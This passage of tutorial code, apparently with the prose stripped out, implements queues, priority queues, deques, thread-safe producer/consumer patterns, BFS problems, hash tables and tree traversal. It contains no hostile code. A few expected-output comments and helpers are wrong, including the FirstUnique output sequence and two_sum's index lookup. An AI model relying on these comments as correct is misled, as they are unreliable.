    CircularQueue(int cap) : capacity(cap), front(-1), rear(-1), count(0) {
        items = new T[capacity];
    }

    ~CircularQueue() {
        delete[] items;
    }

    void enqueue(const T& item) {
        if (isFull()) {
            throw std::overflow_error("Queue is full");
        }

        if (isEmpty()) {
            front = 0;
            rear = 0;
        } else {
            rear = (rear + 1) % capacity;
        }

        items[rear] = item;
        count++;
    }

    T dequeue() {
        if (isEmpty()) {
            throw std::underflow_error("Queue is empty");
        }

        T item = items[front];

        if (front == rear) {
            // Queue becomes empty
            front = -1;
            rear = -1;
        } else {
            front = (front + 1) % capacity;
        }

        count--;
        return item;
    }

    T& peek() {
        if (isEmpty()) {
            throw std::runtime_error("Queue is empty");
        }
        return items[front];
    }

    bool isEmpty() const {
        return count == 0;
    }

    bool isFull() const {
        return count == capacity;
    }

    int size() const {
        return count;
    }

    void display() const {
        if (isEmpty()) {
            std::cout << "CircularQueue([])" << std::endl;
            return;
        }

        std::cout << "CircularQueue([";
        int i = front;
        for (int c = 0; c < count; c++) {
            std::cout << items[i];
            if (c < count - 1) std::cout << ", ";
            i = (i + 1) % capacity;
        }
        std::cout << "])" << std::endl;
    }
};

import heapq

class PriorityQueue:
    def __init__(self, max_heap=False):
        self.heap = []
        self.max_heap = max_heap
        self.counter = 0  # For tie-breaking (FIFO for same priority)

    def enqueue(self, item, priority):
        """Add item with priority - O(log n)"""
        # For max heap, negate priority
        if self.max_heap:
            priority = -priority

        # Use counter for tie-breaking to maintain FIFO order
        heapq.heappush(self.heap, (priority, self.counter, item))
        self.counter += 1

    def dequeue(self):
        """Remove and return highest priority item - O(log n)"""
        if self.is_empty():
            raise IndexError("Dequeue from empty priority queue")

        priority, _, item = heapq.heappop(self.heap)
        return item

    def peek(self):
        """Return highest priority item without removing - O(1)"""
        if self.is_empty():
            raise IndexError("Peek from empty priority queue")

        return self.heap[0][2]

    def is_empty(self):
        return len(self.heap) == 0

    def size(self):
        return len(self.heap)

    def clear(self):
        self.heap = []
        self.counter = 0

# Usage - Min Priority Queue (lower value = higher priority)
pq = PriorityQueue()
pq.enqueue("Low priority task", priority=5)
pq.enqueue("High priority task", priority=1)
pq.enqueue("Medium priority task", priority=3)

print(pq.dequeue())  # High priority task (priority=1)
print(pq.dequeue())  # Medium priority task (priority=3)
print(pq.dequeue())  # Low priority task (priority=5)

# Max Priority Queue (higher value = higher priority)
max_pq = PriorityQueue(max_heap=True)
max_pq.enqueue("Task A", priority=10)
max_pq.enqueue("Task B", priority=50)
max_pq.enqueue("Task C", priority=30)

print(max_pq.dequeue())  # Task B (priority=50)
print(max_pq.dequeue())  # Task C (priority=30)

class HeapPriorityQueue:
    def __init__(self):
        self.heap = []

    def _parent(self, i):
        return (i - 1) // 2

    def _left_child(self, i):
        return 2 * i + 1

    def _right_child(self, i):
        return 2 * i + 2

    def _swap(self, i, j):
        self.heap[i], self.heap[j] = self.heap[j], self.heap[i]

    def _heapify_up(self, i):
        """Move element up to maintain heap property"""
        while i > 0 and self.heap[i][0] < self.heap[self._parent(i)][0]:
            parent = self._parent(i)
            self._swap(i, parent)
            i = parent

    def _heapify_down(self, i):
        """Move element down to maintain heap property"""
        min_index = i
        left = self._left_child(i)
        right = self._right_child(i)

        if left < len(self.heap) and self.heap[left][0] < self.heap[min_index][0]:
            min_index = left

        if right < len(self.heap) and self.heap[right][0] < self.heap[min_index][0]:
            min_index = right

        if i != min_index:
            self._swap(i, min_index)
            self._heapify_down(min_index)

    def enqueue(self, item, priority):
        """Add item with priority - O(log n)"""
        self.heap.append((priority, item))
        self._heapify_up(len(self.heap) - 1)

    def dequeue(self):
        """Remove and return min priority item - O(log n)"""
        if self.is_empty():
            raise IndexError("Dequeue from empty priority queue")

        if len(self.heap) == 1:
            return self.heap.pop()[1]

        # Swap root with last element
        self._swap(0, len(self.heap) - 1)
        priority, item = self.heap.pop()

        # Restore heap property
        if len(self.heap) > 0:
            self._heapify_down(0)

        return item

    def peek(self):
        if self.is_empty():
            raise IndexError("Peek from empty priority queue")
        return self.heap[0][1]

    def is_empty(self):
        return len(self.heap) == 0

    def size(self):
        return len(self.heap)

# Usage
hpq = HeapPriorityQueue()
hpq.enqueue("Emergency", 1)
hpq.enqueue("Normal", 5)
hpq.enqueue("Urgent", 2)

print(hpq.dequeue())  # Emergency
print(hpq.dequeue())  # Urgent
print(hpq.dequeue())  # Normal

#include <iostream>
#include <queue>
#include <vector>
#include <string>

// Using std::priority_queue (max heap by default)
void basicPriorityQueue() {
    // Max heap (largest value has highest priority)
    std::priority_queue<int> maxHeap;

    maxHeap.push(30);
    maxHeap.push(10);
    maxHeap.push(50);
    maxHeap.push(20);

    while (!maxHeap.empty()) {
        std::cout << maxHeap.top() << " ";  // 50 30 20 10
        maxHeap.pop();
    }
    std::cout << std::endl;

    // Min heap (smallest value has highest priority)
    std::priority_queue<int, std::vector<int>, std::greater<int>> minHeap;

    minHeap.push(30);
    minHeap.push(10);
    minHeap.push(50);
    minHeap.push(20);

    while (!minHeap.empty()) {
        std::cout << minHeap.top() << " ";  // 10 20 30 50
        minHeap.pop();
    }
    std::cout << std::endl;
}

// Custom priority queue with objects
struct Task {
    std::string name;
    int priority;

    Task(const std::string& n, int p) : name(n), priority(p) {}

    // Comparison operator for max heap (higher priority value = higher priority)
    bool operator<(const Task& other) const {
        return priority < other.priority;  // Lower priority goes to bottom
    }
};

void customPriorityQueue() {
    std::priority_queue<Task> taskQueue;

    taskQueue.push(Task("Low priority", 1));
    taskQueue.push(Task("High priority", 10));
    taskQueue.push(Task("Medium priority", 5));

    while (!taskQueue.empty()) {
        Task t = taskQueue.top();
        std::cout << t.name << " (priority: " << t.priority << ")" << std::endl;
        taskQueue.pop();
    }
}

class PriorityQueue {
    constructor(comparator = (a, b) => a.priority - b.priority) {
        this.heap = [];
        this.comparator = comparator;
    }

    parent(i) {
        return Math.floor((i - 1) / 2);
    }

    leftChild(i) {
        return 2 * i + 1;
    }

    rightChild(i) {
        return 2 * i + 2;
    }

    swap(i, j) {
        [this.heap[i], this.heap[j]] = [this.heap[j], this.heap[i]];
    }

    heapifyUp(i) {
        while (i > 0 && this.comparator(this.heap[i], this.heap[this.parent(i)]) < 0) {
            const parent = this.parent(i);
            this.swap(i, parent);
            i = parent;
        }
    }

    heapifyDown(i) {
        let minIndex = i;
        const left = this.leftChild(i);
        const right = this.rightChild(i);

        if (left < this.heap.length &&
            this.comparator(this.heap[left], this.heap[minIndex]) < 0) {
            minIndex = left;
        }

        if (right < this.heap.length &&
            this.comparator(this.heap[right], this.heap[minIndex]) < 0) {
            minIndex = right;
        }

        if (i !== minIndex) {
            this.swap(i, minIndex);
            this.heapifyDown(minIndex);
        }
    }

    enqueue(item, priority) {
        this.heap.push({ item, priority });
        this.heapifyUp(this.heap.length - 1);
    }

    dequeue() {
        if (this.isEmpty()) {
            throw new Error("Dequeue from empty priority queue");
        }

        if (this.heap.length === 1) {
            return this.heap.pop().item;
        }

        this.swap(0, this.heap.length - 1);
        const item = this.heap.pop().item;
        this.heapifyDown(0);

        return item;
    }

    peek() {
        if (this.isEmpty()) {
            throw new Error("Peek from empty priority queue");
        }
        return this.heap[0].item;
    }

    isEmpty() {
        return this.heap.length === 0;
    }

    size() {
        return this.heap.length;
    }
}

// Usage
const pq = new PriorityQueue();
pq.enqueue("Low priority", 5);
pq.enqueue("High priority", 1);
pq.enqueue("Medium priority", 3);

console.log(pq.dequeue());  // High priority
console.log(pq.dequeue());  // Medium priority
console.log(pq.dequeue());  // Low priority

from collections import deque

class Deque:
    def __init__(self):
        self.items = deque()

    def add_front(self, item):
        """Add item to front - O(1)"""
        self.items.appendleft(item)

    def add_rear(self, item):
        """Add item to rear - O(1)"""
        self.items.append(item)

    def remove_front(self):
        """Remove and return front item - O(1)"""
        if self.is_empty():
            raise IndexError("Remove from empty deque")
        return self.items.popleft()

    def remove_rear(self):
        """Remove and return rear item - O(1)"""
        if self.is_empty():
            raise IndexError("Remove from empty deque")
        return self.items.pop()

    def peek_front(self):
        """View front item - O(1)"""
        if self.is_empty():
            raise IndexError("Peek from empty deque")
        return self.items[0]

    def peek_rear(self):
        """View rear item - O(1)"""
        if self.is_empty():
            raise IndexError("Peek from empty deque")
        return self.items[-1]

    def is_empty(self):
        return len(self.items) == 0

    def size(self):
        return len(self.items)

    def clear(self):
        self.items.clear()

    def __str__(self):
        return f"Deque({list(self.items)})"

# Usage
dq = Deque()
dq.add_rear(10)
dq.add_rear(20)
dq.add_front(5)
print(dq)  # Deque([5, 10, 20])

print(dq.remove_front())  # 5
print(dq.remove_rear())   # 20
print(dq)  # Deque([10])

class Node:
    def __init__(self, data):
        self.data = data
        self.next = None
        self.prev = None

class DoublyLinkedDeque:
    def __init__(self):
        self.front = None
        self.rear = None
        self._size = 0

    def add_front(self, item):
        """Add item to front - O(1)"""
        new_node = Node(item)

        if self.is_empty():
            self.front = self.rear = new_node
        else:
            new_node.next = self.front
            self.front.prev = new_node
            self.front = new_node

        self._size += 1

    def add_rear(self, item):
        """Add item to rear - O(1)"""
        new_node = Node(item)

        if self.is_empty():
            self.front = self.rear = new_node
        else:
            new_node.prev = self.rear
            self.rear.next = new_node
            self.rear = new_node

        self._size += 1

    def remove_front(self):
        """Remove and return front item - O(1)"""
        if self.is_empty():
            raise IndexError("Remove from empty deque")

        item = self.front.data
        self.front = self.front.next

        if self.front is None:
            self.rear = None
        else:
            self.front.prev = None

        self._size -= 1
        return item

    def remove_rear(self):
        """Remove and return rear item - O(1)"""
        if self.is_empty():
            raise IndexError("Remove from empty deque")

        item = self.rear.data
        self.rear = self.rear.prev

        if self.rear is None:
            self.front = None
        else:
            self.rear.next = None

        self._size -= 1
        return item

    def peek_front(self):
        if self.is_empty():
            raise IndexError("Peek from empty deque")
        return self.front.data

    def peek_rear(self):
        if self.is_empty():
            raise IndexError("Peek from empty deque")
        return self.rear.data

    def is_empty(self):
        return self.front is None

    def size(self):
        return self._size

# Usage
dll_deque = DoublyLinkedDeque()
dll_deque.add_rear(1)
dll_deque.add_rear(2)
dll_deque.add_front(0)
print(dll_deque.remove_front())  # 0
print(dll_deque.remove_rear())   # 2

#include <iostream>
#include <deque>

void basicDequeExample() {
    std::deque<int> dq;

    // Add to rear
    dq.push_back(10);
    dq.push_back(20);

    // Add to front
    dq.push_front(5);
    dq.push_front(1);

    // dq: [1, 5, 10, 20]

    std::cout << "Front: " << dq.front() << std::endl;  // 1
    std::cout << "Back: " << dq.back() << std::endl;    // 20

    // Remove from front
    dq.pop_front();  // dq: [5, 10, 20]

    // Remove from rear
    dq.pop_back();  // dq: [5, 10]

    // Access by index (like vector)
    std::cout << "dq[0]: " << dq[0] << std::endl;  // 5
    std::cout << "dq[1]: " << dq[1] << std::endl;  // 10
}

from collections import deque

def sliding_window_max(nums, k):
    """
    Find maximum in each sliding window of size k.
    Time: O(n), Space: O(k)
    """
    if not nums or k == 0:
        return []

    dq = deque()  # Store indices
    result = []

    for i, num in enumerate(nums):
        # Remove elements outside window
        while dq and dq[0] < i - k + 1:
            dq.popleft()

        # Remove elements smaller than current
        while dq and nums[dq[-1]] < num:
            dq.pop()

        dq.append(i)

        # Add to result when window is full
        if i >= k - 1:
            result.append(nums[dq[0]])

    return result

# Usage
print(sliding_window_max([1, 3, -1, -3, 5, 3, 6, 7], 3))
# Output: [3, 3, 5, 5, 6, 7]

def is_palindrome(text):
    """Check if text is palindrome using deque"""
    from collections import deque

    # Remove non-alphanumeric and convert to lowercase
    dq = deque(c.lower() for c in text if c.isalnum())

    while len(dq) > 1:
        if dq.popleft() != dq.pop():
            return False

    return True

# Usage
print(is_palindrome("A man, a plan, a canal: Panama"))  # True
print(is_palindrome("race a car"))  # False

import queue
import threading
import time

# Using queue.Queue (thread-safe by default)
def producer(q, items):
    """Producer thread adds items to queue"""
    for item in items:
        print(f"Producing: {item}")
        q.put(item)
        time.sleep(0.1)

    # Signal completion
    q.put(None)

def consumer(q):
    """Consumer thread removes items from queue"""
    while True:
        item = q.get()

        if item is None:
            # Poison pill - exit
            q.task_done()
            break

        print(f"Consuming: {item}")
        time.sleep(0.2)
        q.task_done()

# Usage
q = queue.Queue()

# Create threads
producer_thread = threading.Thread(target=producer, args=(q, range(10)))
consumer_thread = threading.Thread(target=consumer, args=(q,))

# Start threads
producer_thread.start()
consumer_thread.start()

# Wait for completion
producer_thread.join()
consumer_thread.join()
q.join()

print("All tasks completed")

import queue
import threading
import time
import random

def task_producer(pq, num_tasks):
    """Produce tasks with random priorities"""
    for i in range(num_tasks):
        priority = random.randint(1, 10)
        task = f"Task-{i}"
        pq.put((priority, task))
        print(f"Added: {task} with priority {priority}")
        time.sleep(0.1)

def task_consumer(pq, consumer_id):
    """Consume tasks based on priority"""
    while True:
        try:
            # Wait for 1 second, then exit if no items
            priority, task = pq.get(timeout=1)
            print(f"Consumer-{consumer_id} processing: {task} (priority {priority})")
            time.sleep(0.3)
            pq.task_done()
        except queue.Empty:
            print(f"Consumer-{consumer_id} finished")
            break

# Usage
pq = queue.PriorityQueue()

# Create producer
producer = threading.Thread(target=task_producer, args=(pq, 10))

# Create multiple consumers
consumers = [
    threading.Thread(target=task_consumer, args=(pq, i))
    for i in range(3)
]

# Start all threads
producer.start()
for consumer in consumers:
    consumer.start()

# Wait for completion
producer.join()
pq.join()
for consumer in consumers:
    consumer.join()

print("All tasks processed")

import threading

class ThreadSafeQueue:
    def __init__(self, max_size=None):
        self.items = []
        self.max_size = max_size
        self.lock = threading.Lock()
        self.not_empty = threading.Condition(self.lock)
        self.not_full = threading.Condition(self.lock)

    def enqueue(self, item, block=True, timeout=None):
        """Add item to queue - thread-safe"""
        with self.not_full:
            # Wait if queue is full
            if self.max_size is not None:
                while len(self.items) >= self.max_size:
                    if not block:
                        raise queue.Full("Queue is full")
                    self.not_full.wait(timeout)

            self.items.append(item)
            self.not_empty.notify()

    def dequeue(self, block=True, timeout=None):
        """Remove item from queue - thread-safe"""
        with self.not_empty:
            # Wait if queue is empty
            while len(self.items) == 0:
                if not block:
                    raise queue.Empty("Queue is empty")
                self.not_empty.wait(timeout)

            item = self.items.pop(0)
            self.not_full.notify()
            return item

    def size(self):
        with self.lock:
            return len(self.items)

    def is_empty(self):
        with self.lock:
            return len(self.items) == 0

#include <iostream>
#include <queue>
#include <mutex>
#include <condition_variable>
#include <thread>
#include <chrono>

template<typename T>
class ThreadSafeQueue {
private:
    std::queue<T> queue;
    mutable std::mutex mutex;
    std::condition_variable cond_var;

public:
    void enqueue(const T& item) {
        {
            std::lock_guard<std::mutex> lock(mutex);
            queue.push(item);
        }
        cond_var.notify_one();
    }

    bool dequeue(T& item, int timeout_ms = -1) {
        std::unique_lock<std::mutex> lock(mutex);

        if (timeout_ms < 0) {
            // Wait indefinitely
            cond_var.wait(lock, [this] { return !queue.empty(); });
        } else {
            // Wait with timeout
            auto timeout = std::chrono::milliseconds(timeout_ms);
            if (!cond_var.wait_for(lock, timeout, [this] { return !queue.empty(); })) {
                return false;  // Timeout
            }
        }

        item = queue.front();
        queue.pop();
        return true;
    }

    bool tryDequeue(T& item) {
        std::lock_guard<std::mutex> lock(mutex);

        if (queue.empty()) {
            return false;
        }

        item = queue.front();
        queue.pop();
        return true;
    }

    bool isEmpty() const {
        std::lock_guard<std::mutex> lock(mutex);
        return queue.empty();
    }

    size_t size() const {
        std::lock_guard<std::mutex> lock(mutex);
        return queue.size();
    }
};

// Usage example
void producer(ThreadSafeQueue<int>& q) {
    for (int i = 0; i < 10; i++) {
        q.enqueue(i);
        std::cout << "Produced: " << i << std::endl;
        std::this_thread::sleep_for(std::chrono::milliseconds(100));
    }
}

void consumer(ThreadSafeQueue<int>& q, int id) {
    while (true) {
        int item;
        if (q.dequeue(item, 1000)) {
            std::cout << "Consumer " << id << " consumed: " << item << std::endl;
            std::this_thread::sleep_for(std::chrono::milliseconds(200));
        } else {
            break;  // Timeout - no more items
        }
    }
}

int main() {
    ThreadSafeQueue<int> q;

    std::thread prod(producer, std::ref(q));
    std::thread cons1(consumer, std::ref(q), 1);
    std::thread cons2(consumer, std::ref(q), 2);

    prod.join();
    cons1.join();
    cons2.join();

    return 0;
}

from collections import deque
import time

class TaskScheduler:
    def __init__(self):
        self.task_queue = deque()

    def add_task(self, task_name, priority=0):
        """Add task to queue"""
        self.task_queue.append({
            'name': task_name,
            'priority': priority,
            'timestamp': time.time()
        })

    def execute_tasks(self):
        """Execute all tasks in FIFO order"""
        while self.task_queue:
            task = self.task_queue.popleft()
            print(f"Executing: {task['name']} (queued at {task['timestamp']:.2f})")
            # Simulate task execution
            time.sleep(0.1)

# Usage
scheduler = TaskScheduler()
scheduler.add_task("Send email")
scheduler.add_task("Generate report")
scheduler.add_task("Backup database")
scheduler.execute_tasks()

from collections import deque

class TreeNode:
    def __init__(self, value):
        self.value = value
        self.left = None
        self.right = None

def bfs_traversal(root):
    """
    Breadth-first traversal of binary tree using queue.
    Time: O(n), Space: O(w) where w is max width
    """
    if not root:
        return []

    result = []
    queue = deque([root])

    while queue:
        node = queue.popleft()
        result.append(node.value)

        if node.left:
            queue.append(node.left)
        if node.right:
            queue.append(node.right)

    return result

def level_order_traversal(root):
    """Get nodes level by level"""
    if not root:
        return []

    levels = []
    queue = deque([root])

    while queue:
        level_size = len(queue)
        current_level = []

        for _ in range(level_size):
            node = queue.popleft()
            current_level.append(node.value)

            if node.left:
                queue.append(node.left)
            if node.right:
                queue.append(node.right)

        levels.append(current_level)

    return levels

# Usage
root = TreeNode(1)
root.left = TreeNode(2)
root.right = TreeNode(3)
root.left.left = TreeNode(4)
root.left.right = TreeNode(5)

print(bfs_traversal(root))  # [1, 2, 3, 4, 5]
print(level_order_traversal(root))  # [[1], [2, 3], [4, 5]]

from collections import deque
from datetime import datetime

class Message:
    def __init__(self, sender, recipient, content):
        self.sender = sender
        self.recipient = recipient
        self.content = content
        self.timestamp = datetime.now()

    def __str__(self):
        return f"[{self.timestamp}] {self.sender} -> {self.recipient}: {self.content}"

class MessageQueue:
    def __init__(self):
        self.queue = deque()

    def send_message(self, sender, recipient, content):
        """Add message to queue"""
        message = Message(sender, recipient, content)
        self.queue.append(message)
        print(f"Message queued: {message}")

    def process_messages(self, batch_size=10):
        """Process messages in batches"""
        processed = 0

        while self.queue and processed < batch_size:
            message = self.queue.popleft()
            self._deliver_message(message)
            processed += 1

        return processed

    def _deliver_message(self, message):
        """Simulate message delivery"""
        print(f"Delivering: {message}")

    def pending_count(self):
        return len(self.queue)

# Usage
mq = MessageQueue()
mq.send_message("Alice", "Bob", "Hello!")
mq.send_message("Bob", "Alice", "Hi there!")
mq.send_message("Charlie", "Alice", "Meeting at 3pm")

print(f"\nProcessing {mq.pending_count()} messages...")
mq.process_messages()

from collections import deque
import time

class PrintJob:
    def __init__(self, document_name, pages, priority=0):
        self.document_name = document_name
        self.pages = pages
        self.priority = priority
        self.submitted_at = time.time()

    def __str__(self):
        return f"{self.document_name} ({self.pages} pages)"

class PrintQueue:
    def __init__(self):
        self.queue = deque()

    def submit_job(self, document_name, pages, priority=0):
        """Submit print job"""
        job = PrintJob(document_name, pages, priority)
        self.queue.append(job)
        print(f"Job submitted: {job}")

    def print_next(self):
        """Print next job in queue"""
        if not self.queue:
            print("No jobs in queue")
            return

        job = self.queue.popleft()
        print(f"Printing: {job}")

        # Simulate printing time (1 second per page)
        time.sleep(job.pages * 0.1)
        print(f"Completed: {job}")

    def print_all(self):
        """Process all print jobs"""
        while self.queue:
            self.print_next()

    def cancel_job(self, document_name):
        """Cancel a specific job"""
        for i, job in enumerate(self.queue):
            if job.document_name == document_name:
                del self.queue[i]
                print(f"Cancelled: {job}")
                return True
        return False

    def jobs_pending(self):
        return len(self.queue)

# Usage
printer = PrintQueue()
printer.submit_job("Report.pdf", 5)
printer.submit_job("Presentation.pptx", 10)
printer.submit_job("Invoice.pdf", 2)

print(f"\nJobs pending: {printer.jobs_pending()}")
printer.print_all()

from collections import deque

class CircularBuffer:
    """Fixed-size buffer for streaming data"""

    def __init__(self, capacity):
        self.capacity = capacity
        self.buffer = deque(maxlen=capacity)

    def write(self, data):
        """Write data to buffer (oldest data removed if full)"""
        self.buffer.append(data)

    def read(self, n=1):
        """Read n items from buffer"""
        if n > len(self.buffer):
            raise ValueError(f"Only {len(self.buffer)} items available")

        result = []
        for _ in range(n):
            result.append(self.buffer.popleft())
        return result

    def peek(self, n=1):
        """View n items without removing"""
        if n > len(self.buffer):
            return list(self.buffer)
        return list(self.buffer)[:n]

    def size(self):
        return len(self.buffer)

    def is_full(self):
        return len(self.buffer) == self.capacity

    def is_empty(self):
        return len(self.buffer) == 0

# Usage - Audio streaming buffer
audio_buffer = CircularBuffer(capacity=1000)

# Simulate audio streaming
for i in range(1500):
    audio_buffer.write(f"sample_{i}")

print(f"Buffer size: {audio_buffer.size()}")  # 1000
print(f"First samples: {audio_buffer.peek(5)}")  # Last 5 of first 1000

# Array-based (dynamic resizing)
# Most operations: O(1)
# When resizing: O(n) - copy all elements to new array
# Amortized: O(1)

# Linked list
# Always: O(1) - just update rear pointer

# Array-based with pop(0)
# O(n) - shift all remaining elements

# Array-based with index tracking
# O(1) - just increment front index

# Linked list
# O(1) - update front pointer

class QueueUsingStacks:
    def __init__(self):
        self.stack_in = []   # For enqueue
        self.stack_out = []  # For dequeue

    def enqueue(self, item):
        """O(1)"""
        self.stack_in.append(item)

    def dequeue(self):
        """Amortized O(1)"""
        if not self.stack_out:
            # Transfer all from stack_in to stack_out
            while self.stack_in:
                self.stack_out.append(self.stack_in.pop())

        if not self.stack_out:
            raise IndexError("Dequeue from empty queue")

        return self.stack_out.pop()

    def peek(self):
        """Amortized O(1)"""
        if not self.stack_out:
            while self.stack_in:
                self.stack_out.append(self.stack_in.pop())

        if not self.stack_out:
            raise IndexError("Peek from empty queue")

        return self.stack_out[-1]

    def is_empty(self):
        return len(self.stack_in) == 0 and len(self.stack_out) == 0

# Test
q = QueueUsingStacks()
q.enqueue(1)
q.enqueue(2)
q.enqueue(3)
print(q.dequeue())  # 1
print(q.peek())     # 2
q.enqueue(4)
print(q.dequeue())  # 2
print(q.dequeue())  # 3

from collections import deque

class StackUsingQueues:
    def __init__(self):
        self.q1 = deque()
        self.q2 = deque()

    def push(self, item):
        """O(n) - make push expensive"""
        # Add to q2
        self.q2.append(item)

        # Move all from q1 to q2
        while self.q1:
            self.q2.append(self.q1.popleft())

        # Swap q1 and q2
        self.q1, self.q2 = self.q2, self.q1

    def pop(self):
        """O(1)"""
        if not self.q1:
            raise IndexError("Pop from empty stack")
        return self.q1.popleft()

    def top(self):
        """O(1)"""
        if not self.q1:
            raise IndexError("Top from empty stack")
        return self.q1[0]

    def is_empty(self):
        return len(self.q1) == 0

# Test
s = StackUsingQueues()
s.push(1)
s.push(2)
s.push(3)
print(s.pop())  # 3
print(s.top())  # 2

from collections import deque

class FirstUnique:
    def __init__(self):
        self.queue = deque()
        self.count = {}

    def add(self, num):
        """Add number to stream"""
        if num in self.count:
            self.count[num] += 1
        else:
            self.count[num] = 1
            self.queue.append(num)

    def get_first_unique(self):
        """Get first unique number - O(1) amortized"""
        # Remove non-unique from front
        while self.queue and self.count[self.queue[0]] > 1:
            self.queue.popleft()

        if self.queue:
            return self.queue[0]
        return -1

# Usage
fu = FirstUnique()
for num in [1, 2, 1, 3, 2, 4]:
    fu.add(num)
    print(f"Added {num}, first unique: {fu.get_first_unique()}")
# Output: 1, 2, 2, 3, 3, 3

from collections import deque

def generate_binary_numbers(n):
    """
    Generate binary numbers 1 to n using queue.
    Time: O(n), Space: O(n)
    """
    result = []
    queue = deque(['1'])

    for _ in range(n):
        # Get front binary number
        binary = queue.popleft()
        result.append(binary)

        # Generate next numbers by appending 0 and 1
        queue.append(binary + '0')
        queue.append(binary + '1')

    return result

# Usage
print(generate_binary_numbers(10))
# ['1', '10', '11', '100', '101', '110', '111', '1000', '1001', '1010']

from collections import deque

class MovingAverage:
    def __init__(self, size):
        self.size = size
        self.queue = deque()
        self.sum = 0

    def next(self, val):
        """Add value and return moving average - O(1)"""
        self.queue.append(val)
        self.sum += val

        if len(self.queue) > self.size:
            removed = self.queue.popleft()
            self.sum -= removed

        return self.sum / len(self.queue)

# Usage
ma = MovingAverage(3)
print(ma.next(1))   # 1.0
print(ma.next(10))  # 5.5
print(ma.next(3))   # 4.666...
print(ma.next(5))   # 6.0

from collections import deque

class RecentCounter:
    def __init__(self):
        self.requests = deque()

    def ping(self, t):
        """
        Add request at time t, return count in [t-3000, t].
        Time: O(1) amortized
        """
        self.requests.append(t)

        # Remove requests older than t-3000
        while self.requests and self.requests[0] < t - 3000:
            self.requests.popleft()

        return len(self.requests)

# Usage
rc = RecentCounter()
print(rc.ping(1))     # 1
print(rc.ping(100))   # 2
print(rc.ping(3001))  # 3
print(rc.ping(3002))  # 3 (request at t=1 is now outside window)

from collections import deque

class HitCounter:
    def __init__(self):
        self.hits = deque()

    def hit(self, timestamp):
        """Record a hit at timestamp - O(1)"""
        self.hits.append(timestamp)

    def get_hits(self, timestamp):
        """
        Return hits in past 5 minutes (300 seconds).
        Time: O(n) worst case, O(1) amortized
        """
        # Remove hits older than 300 seconds
        while self.hits and self.hits[0] <= timestamp - 300:
            self.hits.popleft()

        return len(self.hits)

# Usage
hc = HitCounter()
hc.hit(1)
hc.hit(2)
hc.hit(3)
print(hc.get_hits(4))    # 3
hc.hit(300)
print(hc.get_hits(300))  # 4
print(hc.get_hits(301))  # 3 (hit at t=1 expired)

from collections import deque

def max_sliding_window(nums, k):
    """
    Find maximum in each sliding window of size k.
    Time: O(n), Space: O(k)
    """
    if not nums or k == 0:
        return []

    dq = deque()  # Store indices
    result = []

    for i in range(len(nums)):
        # Remove elements outside current window
        while dq and dq[0] < i - k + 1:
            dq.popleft()

        # Remove smaller elements (they won't be max)
        while dq and nums[dq[-1]] < nums[i]:
            dq.pop()

        dq.append(i)

        # Add to result when window is complete
        if i >= k - 1:
            result.append(nums[dq[0]])

    return result

# Usage
print(max_sliding_window([1,3,-1,-3,5,3,6,7], 3))
# Output: [3, 3, 5, 5, 6, 7]

from collections import deque
import math

def num_squares(n):
    """
    Find min perfect squares that sum to n using BFS.
    Time: O(n * sqrt(n)), Space: O(n)
    """
    if n <= 0:
        return 0

    # Generate perfect squares up to n
    squares = []
    i = 1
    while i * i <= n:
        squares.append(i * i)
        i += 1

    # BFS
    queue = deque([(n, 0)])  # (remaining, steps)
    visited = {n}

    while queue:
        remaining, steps = queue.popleft()

        for square in squares:
            next_remaining = remaining - square

            if next_remaining == 0:
                return steps + 1

            if next_remaining > 0 and next_remaining not in visited:
                visited.add(next_remaining)
                queue.append((next_remaining, steps + 1))

    return -1

# Usage
print(num_squares(12))  # 3 (4+4+4)
print(num_squares(13))  # 2 (4+9)

from collections import deque

def oranges_rotting(grid):
    """
    Multi-source BFS to find time to rot all oranges.
    Time: O(m*n), Space: O(m*n)
    """
    if not grid:
        return -1

    rows, cols = len(grid), len(grid[0])
    queue = deque()
    fresh_count = 0

    # Find all initial rotten oranges and count fresh
    for r in range(rows):
        for c in range(cols):
            if grid[r][c] == 2:
                queue.append((r, c, 0))  # (row, col, time)
            elif grid[r][c] == 1:
                fresh_count += 1

    if fresh_count == 0:
        return 0

    # BFS
    directions = [(0, 1), (1, 0), (0, -1), (-1, 0)]
    max_time = 0

    while queue:
        r, c, time = queue.popleft()
        max_time = max(max_time, time)

        for dr, dc in directions:
            nr, nc = r + dr, c + dc

            if 0 <= nr < rows and 0 <= nc < cols and grid[nr][nc] == 1:
                grid[nr][nc] = 2  # Mark as rotten
                fresh_count -= 1
                queue.append((nr, nc, time + 1))

    return max_time if fresh_count == 0 else -1

# Usage
grid = [
    [2, 1, 1],
    [1, 1, 0],
    [0, 1, 1]
]
print(oranges_rotting(grid))  # 4

hash("name") = 5
hash(123) = 2
hash("email") = 5  (collision!)

Index 0: None
Index 1: None
Index 2: 123 -> "John"
Index 3: 456 -> "Jane" -> 789 -> "Jack"

hash("a") = 5 (occupied)
Try 6, 7, 8... until empty

# Built-in dict
d = {"key": "value"}
d.get("key")  # $O(1)$
d["key"] = "new_value"
del d["key"]

# Custom
class HashTable:
    def __init__(self, size=10):
        self.table = [[] for _ in range(size)]

    def set(self, key, value):
        index = hash(key) % len(self.table)
        for i, (k, v) in enumerate(self.table[index]):
            if k == key:
                self.table[index][i] = (key, value)
                return
        self.table[index].append((key, value))

    def get(self, key):
        index = hash(key) % len(self.table)
        for k, v in self.table[index]:
            if k == key:
                return v
        return None

def two_sum(arr, target):
    seen = {}
    for num in arr:
        if target - num in seen:
            return [seen[target - num], arr.index(num)]
        seen[num] = arr.index(num)
    return []

def has_duplicates(arr):
    return len(arr) != len(set(arr))

class TreeNode:
    def __init__(self, val=0, left=None, right=None):
        self.val = val
        self.left = left
        self.right = right

def preorder_traversal_recursive(root):
    """
    Preorder traversal: Root -> Left -> Right
    Time Complexity: $O(n)$ where n is the number of nodes
    Space Complexity: $O(h)$ where h is the height (due to recursion stack)
    """
    result = []

    def traverse(node):
        if not node:
            return

        result.append(node.val)      # Visit root
        traverse(node.left)           # Traverse left subtree
        traverse(node.right)          # Traverse right subtree

    traverse(root)
    return result

def preorder_traversal_iterative(root):
    """
    Iterative preorder traversal using a stack.
    Time Complexity: $O(n)$
    Space Complexity: $O(h)$ in worst case, $O(\log n)$ for balanced tree
    """
    if not root:
        return []

    result = []
    stack = [root]

    while stack:
        node = stack.pop()
        result.append(node.val)

        # Push right first so left is processed first (stack is LIFO)
        if node.right:
            stack.append(node.right)
        if node.left:
            stack.append(node.left)

    return result

Tree:       1
           / \
          2   3
         / \
        4   5

Preorder: [1, 2, 4, 5, 3]
Step-by-step:
1. Visit 1 (root)
2. Visit 2 (left child of 1)
